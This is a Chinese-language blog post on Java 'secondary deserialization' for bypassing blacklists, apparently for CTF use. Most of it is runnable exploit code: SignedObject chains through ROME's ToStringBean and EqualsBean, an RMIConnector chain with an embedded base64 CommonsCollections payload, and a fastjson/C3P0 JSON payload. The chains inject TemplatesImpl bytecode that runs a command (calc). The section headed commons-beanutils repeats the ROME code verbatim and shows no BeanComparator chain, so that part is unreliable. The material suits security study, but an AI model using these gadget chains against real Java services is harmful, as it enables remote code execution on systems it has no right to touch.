• 从0到1的二次反序列化


    前言

    简单介绍下二次反序列化,顾名思义,就是反序列化两次,其主要意义是绕过黑名单的限制或不出网利用,有些CTF题把一大堆关键类全都ban了,这就让人无从下手,二次反序列化就是为此而生的

    SignedObject

    原理

    看构造函数,接受一个可序列化的对象,再进行一次序列化,简直不要太perfect

    关注一下这个类的getObject方法,this.content可控,且进行了反序列化

    简单的构造一个恶意的SignedObject

    KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
    kpg.initialize(1024);
    KeyPair kp = kpg.generateKeyPair();
    SignedObject signedObject = new SignedObject(恶意对象,kp.getPrivate(), Signature.getInstance("DSA"));
    

    然后调用SignedObjectgetObject方法即可,现在的问题是去哪调用这个方法

    rome链

    ToStringBean

    上篇文章刚讲过rome链,可以调用任意get方法,结合一下就能实现二次反序列化了

    package org.example;
    
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import com.sun.syndication.feed.impl.EqualsBean;
    import com.sun.syndication.feed.impl.ObjectBean;
    import com.sun.syndication.feed.impl.ToStringBean;
    import javassist.*;
    
    import javax.xml.transform.Templates;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.security.*;
    import java.time.temporal.Temporal;
    import java.util.HashMap;
    
    public class toStringBean {
        public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
            Field f = obj.getClass().getDeclaredField(fieldName);
            f.setAccessible(true);
            f.set(obj, value);
        }
        public static CtClass getEvilClass() throws CannotCompileException, NotFoundException {
            ClassPool pool = ClassPool.getDefault();
            pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass ct = pool.makeClass("Cat");
            String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
            ct.makeClassInitializer().insertBefore(cmd);
            String randomClassName = "EvilCat" + System.nanoTime();
            ct.setName(randomClassName);
            ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
            return ct;
        }
        public static HashMap getPayload(Class clazz, Object obj) {
            ObjectBean objectBean = new ObjectBean(ToStringBean.class, new ToStringBean(clazz, obj));
            HashMap hashMap = new HashMap();
            hashMap.put(objectBean, "rand");
            return hashMap;
        }
        public static void Unser(Object obj) throws IOException, ClassNotFoundException {
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(obj);
            ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bis);
            ois.readObject();
        }
        public static void main(String[] args) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException, NotFoundException, CannotCompileException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
            TemplatesImpl templatesImpl = new TemplatesImpl();
            byte[][] bytes = new byte[][]{getEvilClass().toBytecode()};
            setFieldValue(templatesImpl, "_bytecodes", bytes);
            setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
            setFieldValue(templatesImpl, "_name", "x");
            KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
            kpg.initialize(1024);
            KeyPair kp = kpg.generateKeyPair();
            HashMap hashMap1 = getPayload(Templates.class, templatesImpl);
            SignedObject signedObject = new SignedObject(hashMap1, kp.getPrivate(), Signature.getInstance("DSA"));
            HashMap hashMap2 = getPayload(SignedObject.class, signedObject);
            Unser(hashMap2);
        }
    }
    

    大概的流程是这样的:hashMap2:readObject()->signedObject:getObject->hashMap1:readObject

    EqualsBean

    rome的另一条链,通过euqals来触发

    package org.example;
    
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import com.sun.syndication.feed.impl.EqualsBean;
    import javassist.*;
    
    import javax.xml.transform.Templates;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.security.*;
    import java.util.HashMap;
    import java.util.HashSet;
    import java.util.Hashtable;
    
    public class equalsBean {
        public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
            Field f = obj.getClass().getDeclaredField(fieldName);
            f.setAccessible(true);
            f.set(obj, value);
        }
        public static CtClass getEvilClass() throws CannotCompileException, NotFoundException {
            ClassPool pool = ClassPool.getDefault();
            pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass ct = pool.makeClass("Cat");
            String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
            ct.makeClassInitializer().insertBefore(cmd);
            String randomClassName = "EvilCat" + System.nanoTime();
            ct.setName(randomClassName);
            ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
            return ct;
        }
        public static void Unser(Object obj) throws IOException, ClassNotFoundException {
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(obj);
            ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bis);
            ois.readObject();
        }
    
        public static Hashtable getPayload(Class clazz, Object obj) throws NoSuchFieldException, IllegalAccessException {
            EqualsBean bean = new EqualsBean(String.class, "s");
            HashMap map1 = new HashMap();
            HashMap map2 = new HashMap();
            map1.put("yy", bean);
            map1.put("zZ", obj);
            map2.put("zZ", bean);
            map2.put("yy", obj);
            Hashtable table = new Hashtable();
            table.put(map1, "1");
            table.put(map2, "2");
            setFieldValue(bean, "_beanClass", clazz);
            setFieldValue(bean, "_obj", obj);
            return table;
        }
        public static void main(String[] args) throws NoSuchAlgorithmException, NotFoundException, CannotCompileException, NoSuchFieldException, IllegalAccessException, IOException, SignatureException, InvalidKeyException, ClassNotFoundException {
            TemplatesImpl templatesImpl = new TemplatesImpl();
            byte[][] bytes = new byte[][]{getEvilClass().toBytecode()};
            setFieldValue(templatesImpl, "_bytecodes", bytes);
            setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
            setFieldValue(templatesImpl, "_name", "x");
            KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
            kpg.initialize(1024);
            KeyPair kp = kpg.generateKeyPair();
            Hashtable table1 = getPayload(Templates.class, templatesImpl);
            SignedObject signedObject = new SignedObject(table1, kp.getPrivate(), Signature.getInstance("DSA"));
            Hashtable table2 = getPayload(SignedObject.class, signedObject);
            Unser(table2);
        }
    }
    

    虽然有报错,但没啥大影响

    commons-beanutils链

    回想以前学过的,还有什么能调用到getter呢?CB链中有个这个类BeanComparator

    BeanComparator


    很熟悉了

    package org.example;
    
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import com.sun.syndication.feed.impl.EqualsBean;
    import com.sun.syndication.feed.impl.ObjectBean;
    import com.sun.syndication.feed.impl.ToStringBean;
    import javassist.*;
    
    import javax.xml.transform.Templates;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.security.*;
    import java.time.temporal.Temporal;
    import java.util.HashMap;
    
    public class toStringBean {
        public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
            Field f = obj.getClass().getDeclaredField(fieldName);
            f.setAccessible(true);
            f.set(obj, value);
        }
        public static CtClass getEvilClass() throws CannotCompileException, NotFoundException {
            ClassPool pool = ClassPool.getDefault();
            pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass ct = pool.makeClass("Cat");
            String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
            ct.makeClassInitializer().insertBefore(cmd);
            String randomClassName = "EvilCat" + System.nanoTime();
            ct.setName(randomClassName);
            ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
            return ct;
        }
        public static HashMap getPayload(Class clazz, Object obj) {
            ObjectBean objectBean = new ObjectBean(ToStringBean.class, new ToStringBean(clazz, obj));
            HashMap hashMap = new HashMap();
            hashMap.put(objectBean, "rand");
            return hashMap;
        }
        public static void Unser(Object obj) throws IOException, ClassNotFoundException {
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(obj);
            ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bis);
            ois.readObject();
        }
        public static void main(String[] args) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException, NotFoundException, CannotCompileException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
            TemplatesImpl templatesImpl = new TemplatesImpl();
            byte[][] bytes = new byte[][]{getEvilClass().toBytecode()};
            setFieldValue(templatesImpl, "_bytecodes", bytes);
            setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
            setFieldValue(templatesImpl, "_name", "x");
            KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
            kpg.initialize(1024);
            KeyPair kp = kpg.generateKeyPair();
            HashMap hashMap1 = getPayload(Templates.class, templatesImpl);
            SignedObject signedObject = new SignedObject(hashMap1, kp.getPrivate(), Signature.getInstance("DSA"));
            HashMap hashMap2 = getPayload(SignedObject.class, signedObject);
            Unser(hashMap2);
        }
    }
    

    RMIConnector

    这个类是javax.management下一个与远程 rmi 连接器的连接类,看findRMIServerJRMP这个方法,符合我们的需求

    找谁调用了findRMIServerJRMP,类中方法findRMIServer调用了,不过得满足path.startsWith("/stub/")

    继续往上找,类中方法connect调用了,jmxServiceURL是类中属性,可以通过反射修改,得满足rmiServer==null

    这个构造方法刚好满足
    给出构造形式:

    JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
    setFieldValue(jmxServiceURL, "urlPath", "/stub/base64string");
    RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
    

    现在想办法调用connect就行了

    CC链

    任意调用方法,CC链yyds,这里base64的是CC6的数据

    package org.example;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    
    import javax.management.remote.JMXServiceURL;
    import javax.management.remote.rmi.RMIConnector;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    import java.util.Map;
    
    public class rmiConnector {
        public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
            Field f = obj.getClass().getDeclaredField(fieldName);
            f.setAccessible(true);
            f.set(obj, value);
        }
        public static void Unser(Object obj) throws IOException, ClassNotFoundException {
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(obj);
            ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bis);
            ois.readObject();
        }
        public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
            JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
            setFieldValue(jmxServiceURL, "urlPath", "/stub/rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwcHNyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABHNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWVwdAARZ2V0RGVjbGFyZWRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABtzcQB+ABJ1cQB+ABcAAAACcHB0AAZpbnZva2V1cQB+ABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAXc3EAfgASdXEAfgAXAAAAAXQABGNhbGN0AARleGVjdXEAfgAbAAAAAXEAfgAec3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHhweA==");
            RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
            InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
            Map map = new HashMap<>();
            Map lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
            TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, rmiConnector);
            HashMap hashMap = new HashMap<>();
            hashMap.put(tiedMapEntry, null);
            map.remove(rmiConnector);
            setFieldValue(lazymap, "factory", invokerTransformer);
            Unser(hashMap);
        }
    }
    

    WrapperConnectionPoolDataSource

    WrapperConnectionPoolDataSource继承于WrapperConnectionPoolDataSourceBase,在WrapperConnectionPoolDataSourceBase中存在属性userOverridesAsString及其setter方法setUserOverridesAsString,触发fireVetoableChange事件处理

    WrapperConnectionPoolDataSource中有个判断当其属性为userOverridesAsString时,将调用parseUserOverridesAsString方法

    进入parseUserOverridesAsString方法,截取HexAsciiSerializedMap之后的内容,进入到fromByteArray

    最后进入到deserializeFromByteArray中,进行二次反序列化

    结合fastjson来exploit

    {
        "rand1": {
            "@type": "java.lang.Class",
            "val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
        },
        "rand2": {
            "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
            "userOverridesAsString": "HexAsciiSerializedMap:hexstring;",
        }
    }
    

    hexstring就是我们的恶意类代码

    结尾

    二次反序列化到此为止,以后若有其它方式,再继续补充


    __EOF__

  • 本文作者: F12
  • 本文链接: https://www.cnblogs.com/f12-blog/p/18127214
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    从GFS到GPT,AI Infra的激荡20年
    自动驾驶自动泊车场景应用总结
    pyside6开发-01-开发环境搭建
    数据结构与算法(C语言版)P6---队列
    如何辨认是否是高防服务器?
    初识 Node.js 与内置模块:初识 Node.js及Node.js 环境的安装
    互联网产品说明书指南,附撰写流程与方法
    PCL1.12.1+VTK9.1+Qt5.14.2VS创建Qt项目在widget上显示点云
    [ZJCTF 2019]NiZhuanSiWei - 伪协议+文件包含+反序列化
    基于人工智能的智能化指挥决策和控制
  • 原文地址:https://www.cnblogs.com/F12-blog/p/18127214